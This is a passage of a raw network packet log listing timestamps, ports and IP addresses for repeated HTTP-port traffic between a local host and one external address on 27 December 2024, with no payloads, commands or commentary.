Dec 27, 2024 08:50:47.171144009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.171176910 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.171911955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.172039986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.172075987 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.172768116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.172884941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.172926903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.173767090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.173809052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.173846960 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.174735069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.174869061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.174906015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.175540924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.175695896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.175735950 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.176652908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.176834106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.176867962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.177689075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.177807093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.177849054 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.179375887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.179946899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.179987907 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.180083036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.180186987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.180223942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.181010008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.195446014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.195498943 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.195521116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.195790052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.195835114 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.195950985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.196686029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.196721077 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.196791887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.197618008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.197637081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.197664022 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.240459919 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.336663008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.337167025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.337186098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.337205887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.337210894 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.337243080 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.337918043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.338052988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.338100910 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.338998079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.339262962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.339301109 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.339905024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.339924097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.339967966 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.340645075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.341115952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.341150999 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.341557026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.341624022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.341661930 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.342470884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.342530966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.342566013 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.343358994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.343827963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.343864918 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.344285965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.344522953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.344553947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.345192909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.345324039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.345360041 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.346441031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.346462965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.346496105 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.347068071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.347157001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.347196102 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.348043919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.348109007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.348145008 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.348805904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.349351883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.349386930 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.349775076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.350013971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.350048065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.350617886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.350768089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.350800991 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.351865053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.351886034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.351917982 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.352564096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.353091955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.353127956 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.353507996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.353579044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.353614092 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.354377985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.354408979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.354441881 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.355645895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.355665922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.355705023 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.356076956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.356313944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.356347084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.357052088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.357537985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.357573986 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.358191967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.358210087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.358242035 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.358884096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.359015942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.359051943 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.359891891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.359909058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.359941959 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.360693932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.361156940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.361191034 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.361617088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.361814022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.361846924 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.362468004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.362592936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.362631083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.363701105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.363720894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.363753080 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.364347935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.364387035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.364419937 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.365220070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.365325928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.365360975 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.366245031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.366262913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.366297960 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.367381096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.367398024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.367433071 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.367969990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.368087053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.368119955 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.368845940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.368987083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.369021893 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.369741917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.369844913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.369879961 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.370644093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.370769978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.370806932 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.371566057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.371680975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.371716976 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.372459888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.372577906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.372613907 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.373378038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.373521090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.373558998 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.374326944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.374417067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.374453068 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.375211000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.375354052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.375390053 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.376168013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.376231909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.376269102 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.377089977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.377207994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.377244949 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.377912045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.378078938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.378113031 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.378823996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.378957033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.378989935 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.379767895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.379865885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.379898071 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.380759954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.380856037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.380897045 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.439908028 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.448292971 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.559695959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.559757948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.559799910 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.560113907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.560198069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.560231924 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.568413019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.568526983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.568583012 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.568907976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.568996906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.569040060 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.569818974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.569919109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.569955111 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.570776939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.570863962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.570920944 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.571686983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.571799994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.571837902 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.572535992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.572649956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.572685003 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.573616982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.573684931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.573720932 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.574356079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.574428082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.574461937 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.575320005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.575340986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.575375080 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.576199055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.576280117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.576314926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.577188969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.577339888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.577408075 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.577975035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.578075886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.578139067 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.578877926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.578979969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.579018116 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.579814911 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.579914093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.579952955 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.580729008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.580817938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.580849886 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.581603050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.581712008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.581749916 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.582519054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.582653046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.582686901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.583455086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.583573103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.583611012 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.584364891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.584479094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.584513903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.585252047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.585406065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.585443020 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.586154938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.586281061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.586318970 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.587096930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.587184906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.587220907 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.587971926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.588104963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.588140965 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.588898897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.589051962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.589097023 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.589809895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.590048075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.590089083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.590126991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.590964079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.591033936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.591061115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.591826916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.591867924 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.591953993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.592792988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.592832088 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.592948914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.593668938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.593703985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.593832970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.594572067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.594608068 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.594686031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.595488071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.595535994 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.595582008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.596395016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.596437931 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.596508026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.597296953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.597332954 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.597414970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.598221064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.598263025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.598315954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.599132061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.599175930 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.599215984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.600028992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.600075006 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.600220919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.600936890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.600976944 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.601046085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.601865053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.601908922 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.601969004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.602765083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.602807999 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.602880001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.603674889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.603715897 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.603775024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.604603052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.604645967 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.604701042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.605488062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.605524063 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.605601072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.606462002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.606503010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.606540918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.607321978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.607358932 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.607422113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.608654022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.608699083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.608736038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.609858990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.609901905 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.609932899 CET	80	49752	185.215.113.16	192.168.2.6
